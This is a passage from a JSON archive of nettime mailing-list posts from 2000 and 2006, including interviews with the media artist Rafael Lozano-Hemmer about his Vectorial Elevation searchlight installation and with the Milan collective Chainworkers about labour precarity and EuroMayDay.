AT THE SERPENTINE ASKING IF SMOKING IS\nPERMITTED ON THE PATIO\".  Little vignettes of art\nand life.  I think they'll be all the nicer\nbecause people will probably be aware that I was\nnever supposed to receive them.\n\n>>Perhaps the restrained and ironic nature of the\nsites you have put up under these names would not\nachieve the effects you seek so much as might\nthe production of  intense and vivid network\ncultures (which may or may not correspond at\nvarious moments with art modalitities)\n\n>I wonder.  It would be fantastic to see galleries\nactually using their sites for cultural - rather\nthan straight ecommerce - purposes.  How much\nricher many of the official sites would be if they\nwere engaging with those possibilites.  In this\ninstance, however, I probably feel my job is to\nget them looking at the web as a site that can\nhave significance.  Rather than be insignificant.\nAnd I note that over the last three days my sites\nhave been getting hits from staff at the National\nGallery, Royal Festival Hall, White Cube as well\nas the company that handle the south bank centres\nweb presence.  So maybe that process has already\nbegun.....\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Fri, 23 Jun 2000 14:30:16 +0100",
                "to": "NETTIME-L {AT} bbs.thing.net",
                "message-id": "200006231913.PAA25707 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0006/msg00179.html",
                "list": "nettime_l",
                "author_name": "matthew fuller",
                "subject": "<nettime> interview with SERVICE 2000"
            },
            {
                "content-type": "text/plai",
                "from": "\"geert lovink\" <geert {AT} xs4all.nl>",
                "id": "00191",
                "content": "\nInterview with Rafael Lozano-Hemmer\nBy Geert Lovink\n\nLight, the symbol of physics, rationalism, the spectacle, of heaven and\neternity, is a funny substance to play with. It is abstract yet visible,\nbringing clarity while retaining its religious dimensions. Mexican-Canadian\nRafael Lozano-Hemmer is a media artist who chose to use light as a material\nand topic in his interactive installations of relational architecture,\ntechnological theatre, installation and performance art. His latest\nachievement was a project at one of the world's largest and most lively\nsquares, the Z\u00f3calo in Mexico City. Via the Internet, participants were able\nto direct searchlight beams installed on the roofs of buildings around the\nsquare, thereby orchestrating and creating their own light patterns and\nmovements. \"Vectorial Elevation\", set in this grandiose urban space, took\nplace during nothing less than the symbolic weeks of the Millennium\ncelebrations. The response of both Mexico City citizens and Internet users\nwas overwhelming. The installation won the Austrian Ars Electronica Golden\nNica award. \"Vectorial Elevation\" was also shortlisted for this year's Webby\nAwards. Rafael Lozano-Hemmer, who holds a B.Sc. in Physical Chemistry and a\nminor in Art History from Concordia University in Montr\u00e9al and whose work\nhas been shown in over a dozen countries, has curated shows and organised\nthe 5CyberConf (Madrid, 1996) where I met him for the first time. I got\ninfected by his energizing enthusiasm for a technology which is never\nsterile, never authoritarian, always open, playful, almost grotesque: a\nmagnificent blend of Latin popular festivity and Western techno perfection.\n\nGL: Rafael, you are working with light. Can you tell us something about the\nrelation between 'light' and the artistic discipline of interactive works?\nMy first association would be Albert Speer and Pink Floyd light shows. Who\nare your colleagues in this field? What are the latest developments,\ntechnically?\n\nRLH: It is an interesting exercise to review the history of visual art in\nrelation to different dominant scientific perceptions of the nature of\n\"light.\" For example, Barbara Stafford's excellent book \"Body Criticism\"\ndoes this for the 18th century when she examines the impact that Newton's\nview of light as a stream of corpuscles had on the Enlightenment. Other art\ncritics have done this for Romanticism making a parallel to the\nYoung/Fresnel demonstrations of the wave nature of light, or for Modernism\nwith Chevreul's research into chromatic composition and perception. Today,\nquantum physics is comfortable with a flexible understanding of the\nphenomenon of light: interpreting its behavior as both waves and particles\nin relation to Heisenberg's uncertainty principle, under which the\ninstrumentation or experimental methodology used for observation is\ncomplicit with what is observed. This acknowledgement of the performative\nrole of the observer, which Duchamp nailed with his maxim \"le regard fait le\ntableau,\" has been the basis for most explicitly interactive art, electronic\nor otherwise.\n\nAn alternate operation to contextualize the visual arts with regards to\n\"light\" might be to trace technological developments rather than scientific\nmodels. Many texts have already done this, going from the magic lanterns of\nDella Porta and Kircher to the HIT and Lapis labs' display devices that\nbypass the eye in favor of direct stimulation of optic nerves, what William\nGibson called \"Virtual light.\" But, of course, the latest, and perhaps the\nfinal, technological development is that light is no longer fast enough, as\ndescribed by Jean Baudrillard, Martin Jay and other theorists who have noted\nthe cultural consequences of being bound by a physical threshold with no\nevent horizon. The wait for light to arrive is now a major consideration in\nmost telecommunications events as well as a major design problem for the\nnext generations of computer processors which want to run at a faster\nclockrate than light can travel through their millions of transistors. It is\nironic that living in a fully electromagnetic culture will mean adapting to\npermanent delay, to light-lag, perhaps by developing an \"asynchronous body\"\nwhich can process in parallel the different speeds of tele-perceptive\nsenses, as distant data packets arrive. (Tech note: it takes light 67\nmilliseconds to go half way around the world, which would allow an\noff-the-shelf 300 MHz microprocessor to execute twenty million cycles, -more\nor less enough for two million calculations. Our telepresent culture will\nalways be two million calculations behind itself).\n\nHistorically, Thomas Wilfred is regarded as one of the key pioneers in the\nexplicit use of light for creating artworks, in a new discipline which he\ntermed \"lumia\". His first performance is thought to have taken place in\nGreenwich Village in 1922. Wilfred invented the \"Clavilux\", which was an\norgan-like console that allowed real time or pre-recorded control of light\nparameters such as intensity, color, movement and focus, and which he used\nextensively in performance and exhibition settings. As early as 1929 Wilfred\npatented lumia projectors to be used on the top of skyscrapers, -years later\nhe created lumia \"Opuses\" for General Electric's and Clairol's buildings in\nNew York City. Other lumia artists that followed Wilfred include Tom Douglas\nJones (inventor of the Symphochrome in 1938), Jackie Cassen, Rudi Stern,\nRobert Fisher and Christian Sidenius (who in the early sixties built a\n\"Theatre of Light\" in Connecticut with several lumia projectors).\n\nToday, almost all media artists are working with light by using presentation\ntechnologies such as LCDs, CRTs, LEDs or DLPs found in displays and\nprojectors. A smaller group of electronic artists are using light beams and\neffects explicitly, in a less representational role, for example James\nTurrell, Louis-Philippe Demers and Bill Vorn, Axel Morgenthaler, Knowbotic\nResearch, Daniel Canogar, Christian Moeller, Simon Biggs, Michel Iorio,\nStadtwerkstatt from Linz, Masaki Fujiyata, and Friedrich Foerster. While it\nis not very productive to group people who have very different agendas and\ntechniques simply because they work explicitly with light, it is interesting\nthat these artists are mostly active at the intersection between performance\nart and architecture, which is also where I like to situate my artistic\npractice.\n\nAlbert Speer and Pink Floyd shows are definitely important precedents to a\nperformative architectural utilization of light. In both cases, however, the\nmain operation was one of \"cathartic intimidation\": the message was \"this is\nbig, you are small.\" Even my favorite projection artist, Krzysztof Wodiczko,\nused that strategy to deconstruct the master narratives of power-affirming\nbuildings. One could argue that the contribution of personal interactivity\nis precisely the transformation of intimidation into \"intimacy\". The\npossibility for people to constitute new relationships to the urban\nlandscape and therefore to re-establish a context for a building's social\nperformance.\n\nGL: You are speaking about light in a very playful way. Is it so flexible?\nThe way you use it is very high tech. For me it is almost abstract category.\nVery metaphysical, holy, it is the sphere of the gods. You seem to be able\nto use it in very different ways, to make historical and political\nreferences, like you did in your installation in Linz (Ars Electronica 97)\nand for the media and architecture festival in Graz. This was about\nprojection, colonialism and interaction. Both technically and from the\nnarrative point of view complex installations. And funny too. How do you put\nthese stories together and what is the role of the light as a VR element in\nthis?\n\nRLH: My installation projects, done in collaboration with Will Bauer, are\nwithin a field that I call \"Relational Architecture\", which can be defined\nas \"the technological actualization of buildings with alien memory\". Here\nalien memory refers to something that does not belong, that is out of place,\nwhile technological actualization means the use of hyperlinks, aliasing,\nspecial effects and telepresence.\n\nIn relational architecture, buildings are activated so that the input of the\npeople in the street can provide narrative implications apart from those\nenvisioned by the architects, developers or dwellers. The pieces use\nsensors, networks and audiovisual technologies to transform the buildings.\nIn particular, light projections are used since they can achieve the desired\nmonumental scale, can be changed in real time, and their immateriality makes\ntheir deployment more logistically feasible.\n\nI like to make a clear distinction between work in relational architecture\nand virtual reality pieces. For me, virtual architecture could be\ndifferentiated from relational architecture in that the former is based on\nsimulation while the latter is based on dissimulation. Virtual buildings are\ndata constructs that strive for realism, asking the participant to \"suspend\ndisbelief\" and \"play along\" with the environment; relational buildings, on\nthe other hand, are real buildings pretending to be something other than\nthemselves, masquerading as that which they might become, asking\nparticipants to \"suspend faith\" and probe, interact and experiment with the\nfalse construct. Virtual architecture tends to miniaturize buildings to the\nparticipant's scale, for example through VR peripherals such as HMDs or\nCAVEs, while relational architecture amplifies the participant to the\nbuilding's scale, or emphasizes the relationship between urban and personal\nscale. In this sense, virtual architecture tends to dematerialize the\n_body_, while relational architecture tends to dematerialize the\n_environment. This is not to say that virtual and relational architectures\nare opposing practices, or that they are mutually exclusive.\n\nCicero, Churchill and a dozen others have been quoted as saying \"we make\nbuildings and buildings make us\". This is far from the current urban\nsituation; buildings no longer represent a city's inhabitants. As Koolhaas\nand others have noted, most new architecture consists of generic,\nde-featured buildings that reflect market forces and not local specificity\n(I call these \"default buildings\"). A housing project in Kuala Lumpur is\nbound to be quite similar to one in Mexico, Cleveland or Athens. On the\nother hand, we have what the Spanish architect Emilio Lopez-Galiacho calls\n\"vampire buildings\" which are emblematic buildings that are not allowed to\nhave a natural death, that are kept alive artificially through restoration,\ncitation and virtual simulation. Vampire buildings are forced to be immortal\ndue to \"architectural correctness\" a cultural, political and economic\nconservative tendency to assign a representative role upon a select number\nof buildings. Vampire buildings, while culturally incestuous and necrophilic\n(or perhaps because of it), will always remain protected from erosion,\ngravity, war, crawling vines, graffiti and the like.\n\nSo, one important aspect of Relational Architecture is to produce a\nperformative context where default buildings may take on temporary\nspecificity and vampire buildings may decline their role in their\nestablished, prevailing identification.\n\nHaving said this, I am interested in distancing my practice from the notion\nof the \"site-specific\", particularly from the postmodern attempts to find\nand deconstruct essential constituent characteristics of a particular space:\nI am very committed to the idea that a site consists of an indeterminate\nnumber of intersecting imaginary, socio-political, physical and tele-present\nspaces. Therefore, I like to use the term \"relationship-specific\" to\ndescribe the uniqueness of a discreet interaction between participants,\ndifferent planes of experience and the relational building(s). What is\nspecific is the new behaviours that might emerge during interaction.\n\nGL: Yes, let's go to the messy reality, of Mexico City in this case where\nyou have just finished a pearly piece of relational architecture. Do you see\nthe high tech equipment you have been using there clashing with rampant\npoverty, a low intensity civil war in Chips, in general the huge social\ndivides in Mexico, or this is just another Western clich\u00e9? I suppose you\nhave just intensively enjoyed doing it, overcoming all sorts of difficulties\nconnected with such a complicated set-up. Tell us all about the everyday\ncontradictions you have encountered, compared to the Spanish or Austrian\nbureaucracies and formalities.\n\nRLH: The piece in Mexico City was commissioned by the National Council for\nCulture and the Arts for the Millennium celebrations. The President of the\nCouncil saw my work in Austria, which questioned the notion of heritage and\n\"cultural property,\" and asked me to use Mexican history as a departure\npoint for a spectacular installation in the Z\u00f3calo Square. Now, most Mexican\nArt this century has had a very didactic, historicist bent that is clearly\nevident in the Neue Sachlichkeit work of the muralists. Modern masters\nadopted a \"revolutionary\" aesthetic that was characterized by a problematic\nromantisation of indigenous peoples, a militant patriotism, and a\nfascination with linear models of history. Perhaps what could have been\nexpected is to have a new kind of virtual muralism, consisting of\nprojections of parading national heroes. The last thing I wanted to do is to\nrepeat these monologic mantras. Fortunately, contemporary Mexican art has\ndeparted long ago from this vision, starting with Octavio Paz who challenged\nthe concept of \"progress\" almost forty years ago and Jos\u00e9 Luis Cuevas who\ndenounced muralism as a \"cactus curtain\" that was blocking the transit of\nideas in and out of Mexico.\n\nIn any case, the problem of large-scale monologic representation is not only\na Mexican phenomenon. Most Millennium shows throughout the world consisted\nof son et lumiere spectacles that defined a linear historicist narrative of\n\"representative\" moments or actors in history. Each of those narratives must\nbe analyzed in terms of their exclusions of so called \"minor\" histories,\nbecause there can never be a comprehensive, exhaustive nor neutral\nrepresentation and what is shown is always a profile of the current elite.\nThere is a very close connection between representation and repression,\nparticularly when it is applied to what Edward Said calls \"identitarian\"\nnarratives. Elites have always used such narratives to homogenize and\ncontrol what are otherwise complex, dynamic social fabrics. The Millennium\nwas the first chance to see the widespread impact of new technologies of\nrepresentation on the scale and insidiousness of identitarian power\naffirmation (although it could be argued that they were already evident, for\ninstance, in pokemon consumerism or in the \"special effects\" capitalism of\ndot com corporations).\n\n>From the very beginning of the design process I knew that the piece had to\nincorporate interactivity as a way of avoiding historical representation and\nLur\u00e7at- and Speer-like spectacles. I wanted the main protagonist of the\npiece to be the participants themselves. Since the minister had asked me to\nlook at Mexican history to find a departure point for the piece I\ninvestigated the largely undocumented history of Mexican technological\nculture. I found several useful precedents, which serve as a legitimate\nbackdrop for electronic art projects, from the research of Gonzalez Camarena\non color TV to the popularization of electronic music by Luis P\u00e9rez\nEsquivel. One discovery was incredibly useful: the theory of Cybernetics was\npostulated by Norbert Wiener and Arturo Rosenbleuth at the Mexican Institute\nof Cardiology to explain self-regulation in the heart. Since I became aware\nof this, I have joked that cyber art is a native Mexican practice!\n\nBut seriously, to answer your question regarding the potential clash between\nhigh tech equipment and the appalling economic situation of many Mexicans, I\nhave to say that Mexico is a very complex, heterogeneous society that is\nfull of contradictions. There is an almost feudal society in regions of\nChiapas that continues to systematically impoverish indigenous people; at\nthe same time, Subcomandante Marcos is a networked revolutionary leader who\nunderstands and uses the subversive power of \"high technology\". This is not\nto say that social inequality and technology do not clash, of course they\ndo, for example in the high tech maquiladora factories in the border towns\nwhere management and technology come from the US and the underpaid work\nforce, raw materials and space come from Mexico. My position is that\ntechnology is an inevitable aspect of society and it is a key challenge for\nthe media artist to develop it or misuse it to break the stereotypes and\ncreate new technological languages. One of the reasons I like to quote the\nprecedents of Mexican technological culture is precisely because I like to\nthink that technological development is not necessarily exclusive to\n\"developed\" countries. Think of the software industry in India or the Nortec\nelectronic music movement in Tijuana.\n\nThe piece was done in the Z\u00f3calo Plaza, which is the World's third largest\nsquare, measuring 240 by 220 metres and holding over 200,000 people. The\nZ\u00f3calo's monumental size makes the human scale seem insignificant, a fact\nthat some Mexican scholars consider an emblem of a monolithic political\nlegacy; there are almost one thousand protests a year in this site and yet\nits scale drowns most of them. In order to have an impact on this square it\nwas necessary to deploy very powerful equipment: we placed 18 robotic\nsearchlights with a total of 126,000 watts of power on the rooftops of\nsurrounding buildings like the National Palace, the City Government\nheadquarters and the hotels. On a clear night the searchlight beams could be\nseen from a 20Km radius and covered the entire historic center of the city,\nincluding landmarks such as the Metropolitan Cathedral, the Supreme Court of\nJustice and the Templo Mayor Aztec ruins. Despite the power of the\ninstallation my intention was not to do a cathartic millennium show but a\nquiet, slowly fluctuating space for reflection. The concept for the piece\nwas for people on the internet to design light sculptures using a 3D\ninterface, submit them to Mexico where they would be queued, rendered by the\nsearchlights in the plaza and finally documented in a digital archive. We\nconnected the searchlights with hundreds of metres of data cable and\nmeasured their location with GPS trackers. Custom software was written to\ninterface a VRML simulation of the Z\u00f3calo to the servers that could control\nthe searchlights. Three webcams placed in the National Palace, a hotel and a\nskyscraper would document participants' designs and also stream live video\nfeeds. As with any event that I have ever done in public space, the\nlogistics were intense: we filed several reports to the department of\nNational Security, obtained permits from air traffic control, installed\ncoaxial internet feeds through the hotel's bathroom ventilation, stopped\nstreet traffic while cranes lifted the searchlights and so on.\n\nGL: I have seen the video you produced which documents the Z\u00f3calo\ninstallation. It is truly amazing. You have just won the Prix Ars\nElectronica price in the category of interactive installations.\nCongratulations. What struck me in the video was the poetry of the\nsearchlights, which are usually only set up to mimic military searchlights,\nscanning the night sky for suspicious objects. The movements of the\never-changing grids seemed so elastic. This must be a visual trick because\nthe hardware and software you managed to bring together looked so massive.\nThe scale of works you are doing really has transcended from the museum and\ngallery into large-scale urban spaces. Did you run this art project as a\nmilitary operation, or rather like a business, a theatre show? Does the\nvirtual spectacle you staged resemble some elements of the big, orchestrated\nfireworks, pop concerts, rave parties?\n\nRLH: The elasticity that you are referring to is in fact the effect that I\nwas looking for the most when designing this project. The smooth morphing\nbetween different submitted designs was crucial to evoke a sense of constant\ntransformation and flow. The transitions between positions were as important\nas the positions themselves.\n\nMy original notion was for the searchlights to render a new design every\nsecond, both to fit as many participants as possible and to match the tempo\nof a slow heart beat. In the end 6 to 8 seconds were needed per design to\nallow the searchlights to position themselves and for the three webcams to\ntake pictures. In retrospect I am very glad that we used this slower pace\nbecause it invited contemplation and anything faster would have been too\naggressive in a city that does not need any more aggression.\n\nAs you mention, historically searchlights have been used for military\nanti-aircraft surveillance and their vocabulary of movements have been\nlimited to coordinated \"sky scanning\" patterns. These patterns have a very\ndifferent interpretation in Europe, where bombings wiped out entire cities,\nthan in America, where they became associated with celebration, thanks in\npart to the use of searchlights in WWII victory parades. Once searchlights\nwere adopted by Hollywood-style events, the movements became largely\nrandomized. The searchlights were used to attract people to a single point\nfrom which the light beams were originating. In Vectorial Elevation the\nlightbeams were always in a coordinated state of mutation as they positioned\nthemselves to render participants' designs. The movement was \"purposeful\" in\nthat every six seconds a unique static pattern would emerge and then\ndissolve into the next one. The theatrics of power used by Speer and others\nwas also avoided to an extent by the lack of linear narrative: the piece was\nin operation from dusk to dawn for two weeks, becoming more of an urban\nfixture than a time-based event. Although I am conscious that the scale was\n\"spectacular\" I am happier to compare the work to a public fountain or to a\npark bench than to a son et lumiere show.\n\nThe piece was developed by a large number of programmers, designers and\ntechnicians in four countries. Even though I was commissioned to design the\nproject in March 1998, we only got to work a few months before the opening.\nThe Internet connection in the control room was installed four days before\ngoing live! So it was a pretty tight development schedule. The physical\nset-up was done by a Mexican company that normally presents large rock\nconcerts and musical theatre, so to them the scale was not a problem.\nLogistically, I have always thought that my work is more akin to the\nperforming arts than to the visual arts. The installations tend to be\nephemeral interventions where the public becomes an actor through\ninteractivity, and they are closer to perpetration than to preservation. I\nam also particularly interested in the fact that theatre, concerts and\nperformance art are direct, shared experiences where people actively assume\ndifferent roles, thanks to the \"wideband\" feedback that is possible with\ncollective closeness. Composer Frederic Rzewski called this essential\npleasure of the performing arts \"coming together\".\n\nGL: Could you tell us about the special software which has been developed\nfor the Z\u00f3calo? Will there be any spin-offs, used in other installations?\nWill the software, for example, be available as open source? If you work on\nthis level, what experiences do make concerning innovative and creative\nfurther development of certain technologies? Are you optimistic about the\nrole that such kind of new media arts can play? Through your work within the\nSpanish telecom giant Telef\u00f3nica you would probably agree that \"digital art\nis the product of transnational corporate capitalism.\" (Lunenfeld) Could\nthis type of work possibly influence the direction technology is taking? Or\nshall we, with Peter Lunenfeld, say that the Demo or Die essence of\nelectronic arts is to perform corporate technologies?\n\nRLH: We had twenty computers in the control room running mostly custom-made\nsoftware: linux/apache servers, video reflectors, watermarking processors,\nDMX control boxes, etc. The main design specification was that the interface\nshould be accessible across platforms, across browsers and without the need\nfor any plug-ins. We turned to Java as the solution but even it had to be\ntweaked heavily to achieve this goal. Most of the software is too\nspecialized to be useful in other contexts but now it will be very easy to\nmake new versions of Vectorial Elevation for other cities. The only piece of\nsoftware that may find itself repurposed in some form is a video streaming\nsystem that the programmers called \"kyxpyx\" and which is released as open\nsource. We wanted to have a cheap (free!) alternative to the current video\nstreaming solutions from Microsoft, Apple and Real, and that worked without\nplugins.\n\nI agree that digital art is the product of transnational corporate\ncapitalism. So is the environment we live in and our identity itself. Many\nyears ago I wrote an essay for Leonardo magazine called \"Perverting\nTechnological Correctness\" where I outlined some strategies artists deploy\nto corrupt the inevitability of corporate technologies. Among them, I\nincluded the simulation of technology itself, the use of pain, ephemeral\nintervention, misuse of technology, non-digital approaches to virtuality and\nresistance to what I call the \"effect\" effect. I believe that artists have\nbeen and can be at the forefront of technological development. For media\narts, the usual example that gets cited is the development of the data glove\nby Dan Sandin, Tom DeFanti and Gary Sayers under a grant from the National\nEndowment for the Arts in 1977. But there are many other examples. Will\nBauer, my collaborator for the past 12 years, has been developing a wireless\n3D tracking system that we have incorporated into many of our pieces. This\nintegration has been very beneficial to both the artistic and technological\ndevelopments and we find it hard to distinguish what comes first, if\nanything. Of course I am aware that most technology is developed for and by\nthe military-economic complex but I am enamoured by the romantic illusion\nthat if art had the military's budget we would create more jobs than they do\nand develop more interesting technology (including great art bombs!).\n\nVectorial Elevation, relational architecture 4 http://www.alzado.net\n\nRe:Positioning Fear, relational architecture 3\nhttp://xarch.tu-graz.ac.at/home/rafael/fear/\n\nGeneral information http://www.telefonica.es/fat/artistas/rlh/\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Mon, 26 Jun 2000 16:09:36 +1000",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200006261250.IAA02461 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0006/msg00191.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> Interview with Rafael Lozano-Hemmer"
            },
            {
                "content-type": "text/plai",
                "from": "arcelo {AT} brumaria.net",
                "id": "00002",
                "content": "hi - an interview we just translated into english - with italian\nchainworkers - on (social) precarity, innovative direct action,\nbio-unionism, mayday, and so on... - next 17-19 april there is an european\nmeeting for the euromayday network, in milan -\n\njust to give you a glimpse on what's going on at this side on political\nimagination+creativity :)\n\n-----\n\n>From labor precarity to social precarity [1]\n\nChainworkers interviewed by Mar\u00eda Cecilia Fern\u00e1ndez\n\n\nThe workers' movement of the nineteenth century was organized around the factory\nby means of the union, but, at the same time, it created ?societies of\nresistence,? spaces of social gathering and mutual support. Capitalist production\nwas understood not only as an economic problem but as a social problem as well.\nThe struggle against capitalism signified a struggle against mercantile forms of\nlife, beyond unionization and worker's rights.\n\nPresently, the capitalist process of producing surplus value has incorporated as a\nforce of labor the cognitive, comunicative, and affective capacities of human\nbeings. One of the most dynamic dimensions of social production is a type of\ninmaterial work force. Computer technicians, web designers, workers in\nadvertising, artists and publicists are part of the present social composition of\nlabor. In post-Fordist production, the new forms of labor have raised the question\nof which forms of social organization will confront the situation of flexibility,\nmobility and labor precarity, as well as the forms of life of capitalist social\nrelations.\n\nIn Italy, the Milan collective Chainworkers has been working with the issues of\nsocial and labor-related precarity for a number of years. Chainworkers? early\nefforts were, on the one hand, aimed at the employees of commercial chains and\nsignified an attempt to address that emblem of precarity of the 1990s, the\nMcDonald?s style employee, who, without rights or union representation, is unable\nto perceive themselves as a worker in the classical sense. On the other hand, the\ncollective experimented with innovative strategies of communication with the\nobjective not only of making available information concerning labor rights in the\nsituation of precarity, but also of creating means for uniting and social struggle\nbeyond unionization. In order to give visibility to the new figures of precarity\nin Europe, Chainworkers organized MayDay (First of May) in 2001 as a carnivalesque\nfestival in the streets of Milan.\n\n\nMar\u00eda Cecilia Fern\u00e1ndez (MCF): What analysis have you made after your first round\nof activity?\n\nFrenchi (F): In the beginning, at the core of the movement the entire question of\nlabor was expressed with rhetorics that denoted powerlessness but not the ability\nto intervene (?Stop the Precariat,? etc.). In our case, one of our inicial\ncharacteristics was a hatred for chain businesses not as places of consumption,\nbut as institutions. But we were very innocent because we thought that the\nneo-slave conditions of workers in commerical chains would be a condition\n?non-imitatible? and that large zones of marginality understood as a certain\nreproduction of the Fordist market were being created. But we were mistaken: the\nentire world of labor was moving towards this neo-slave condition. Precarity, as a\nconcept, appeared in 2002, as part of the realization that this was not a new\nsubproletariat that was being born nor just a labor mechanism that was being\ndeployed but a new, more complex social relation between life and work.\n\n\nMCF: How do you define, then, social precarity?\n\nF: It is a mechanism of control, a division of labor, the partitioning of human\nresources, and a selection that generates profits and surplus value for\nbusinesses, that mutates and modifies its own structure. This movement from labor\nprecarity to social precarity calls into question our ability to intervene and, as\nwell, questions attempts at revindication that count on a strong historical\ntradition. For example, the Italian Autonomia movement of the 1970s, with its\nrefusal of work and its reappropriation of time, or the right to a decent life\npreserved by a series of civil and social rights won over the course of history.\n\n\nMCF: For Chainworkers what does creating community mean?\n\nF: To create conscious relations of solidarity with strong ties, the capacity for\ncommunication between all the subjects in the community. The potential to generate\nan autonomous production that is cooperative, horizontal even assuming the\ndivision of competences, strongly tied to the undeniable potential that one can\nsee in others. A community of individuals in solidarity, of friends, but above all\na community in the moment that it manages to produce and cooperate and to have\nmeaning.\n\n\nMCF: Which are this community?s different planes of intervencion?\n\nF: There are many. First off is collective self-formation. To be in a community is\nto be in a situation that already supports you. Then, there is a social element,\nan element of community, an element of communication, an element of play, and, as\nwell, an element of autoredito [ED: the generation of income out of self-regulated\njobs and other activities]. All this includes various factors: community,\nsocialization, education, political intervention, closer relations with some\ngroups...that is to say, a strong consciousnes of the territory and the mechanisms\nthat regulate this territory. This is the community that we are creating.\n\n\nMCF: In your experience how has this idea of the production of community taken\nshape and what does the concept of ?autoredito? signify in your practice?\n\nBombo: I began my professional education in a social center, Deposito Bulk, in\nMilan. There I recieved something that neither a university nor a job could have\ngiven me. Following the do it yourself philosophy of the social centers, I did my\nprofessional training, which I presently apply to my work. The discourse of free\nsoftware and the idea of sharing knowledge allowed me not only to affirm a\ncultural demand, but also to continue working in the information technology sector\nwith the objective of not just producing and earning more, but of working in a\nmanner alternative to that of the commercial world of information technology.\n\nMuch later, we began to think of the Centro Sociale La Pergola as a possible place\nto begin constructing the necessary infrastructure for our project, as well for\ncreating spaces of intervention in the city?from tools and telematic space to an\naccomodation space that was extremely affordable compared with what Milan had to\noffer and from here was born the self-managed hostel. Opening a hostel involved us\nin a project that on a volunteer basis wasn?t going to work and so we solved this\nby creating jobs that didn?t follow the traditional rules as we considered them a\ntype of social service.\n\n\nMCF: Chainworkers began in 2001 with the MayDay celebration but by resignifying it\nas the day of precarity. What is the objective of this communicative intervencion\nand how is it expressed?\n\nF: Some years ago, for our government representatives, speaking of precarity was a\nkin to a terroristic activity. MayDay served as a communicative act to develop a\nnew consciousness. With Saint Precarious, for example, we engaged in subvertising\n(a technique of diverting and repropriating the language of advertising to create\nmeanings that are either different or completely opposite) against a social fabric\nthat is very catholic. Although we?re really secular, in Italy there is a very\nstrong ultra-catholic tradition. The saint was taken from this popular culture\ninto order to insert it in a non-religious situation. And each icon that sits\nunder the image of Saint Precarious stands for one of the five keys to\nnon-precarity: we should have access to money, housing, affection and the right to\ncommunication and transport.\n\n\nMCF: How is the figure of precarity inserted in the discouse of unionism?\n\nF: It doesn?t have one, since precarity is extorsion, blackmail and not easily\nunderstood with the classic trade-syndicate forms. We believe that speaking of the\nrenovation of the forms of struggle also implies a renovation of the institutions\nof struggle, that is, of unionism, the art of unionization, and union-style direct\nactions. Currently, we are mapping out the ?sites of Saint Precarious? that are\nco-ordinated in a network we call bio-unionism.\n\nThe conception of biounionism starts from the following premise: if precarity is\nsocial and invades every aspect of our lives, it is obvious that our collective\naction ought to start from each of the sites where our lives take place, both\ninside and outside of the workplace. The sites of Saint Precarious will be places\nfor legal services, self-education, community solidarity and defense. They will be\neverything that we can think to create so that our actions of conflict will be\nincisive, striking a blow against business and its image. They are an attempt to\norganize a defense, a counterattack. In the end, individuals are precarious\nbecause they don?t have access to the information that they need about the\nconditions of their own contracts. And, above all, they are isolated in relation\nto others in their workplace. We need to break through this isolation, creating\ncommunity.\n\n\nMCF: What do you think of the struggle in the area of workers' rights?\n\nF: We are convienced that the present situation cannot be modified from inside the\npolitical-judicial discourse. The relation of social precarity supercedes the\nlegal-labor relationship and represents business? direct explotation, force and\npower over the lives of everyone. If a change in the labor laws comes about, it\nwill happen just the same as always: thanks to the ability to create conflict and,\nabove all, to create potent, strong and intelligent conflict. Of the laws that are\nconcretized we called them ?amorticized?; we recognize that 200 Euros more or\nless a month would change the situation. However, if this money is the reason why\nyou don?t build a political strategy that goes beyond 200 Euros, then you?ve\nfallen into the monetarization of rights. An intelligent political strategy should\npursue an increase in salaries, redistribution, assitance or subsidies, but\nwithout losing sight of the fact that the problem of precarity is when they call\nyou at midnight in order to tell you ?look, tomorrow you?ve gotta work? when\nyou?ve already got plans to go to Lugano to visit your family.\n\n\n\n[1] This version edited from the interview published in Spanish in the newspapers\nProyecto 19y20 (Buenos Aires, March 2005) and in Diagonal (Madrid, March-April\n2005). Chainworkers were key in the beginning of the European movements against\nprecarity, with communication tools such as their website\nhttp://www.chainworkers.org (inaugurated in 1999), the book Laborare nelle\ncattedrali del consumo (DeriveApprodi, Milan, 2001; Spanish version published in\nBrumaria n\u00ba 3, 2004; and also found at\nhttp://www.chainworkers.org/chainw/libro_cw.htm) and in the Milan celebration of\nMayDay, the Precarious First of May, since 2001 and currently spreading as\nEuroMayDay to cities across the European continent (see\nhttp://www.euromayday.org). Translated by Brian Whitener.\n\n_______________________________________________ \nEuromayday mailing list\nEuromayday {AT} euromayday.org \nhttps://www3.autistici.org/mailman/listinfo/euromayday\n___________________________________________ \nbrumaria http://www.brumaria.net\npr\u00e1cticas art\u00edsticas, est\u00e9ticas y pol\u00edticas \n\n\n\n\n----- End forwarded message -----\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 6 Feb 2006 12:46:50 +0100 (CET)",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "E1F6QZK&#45;0005AD&#45;Im {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0602/msg00002.html",
                "list": "nettime_l",
                "author_name": "marcelo",
                "subject": "<nettime> interview with chainworkers (english)"
            },
            {
                "content-type": "text/plain",
                "from": "Sarah Cook",
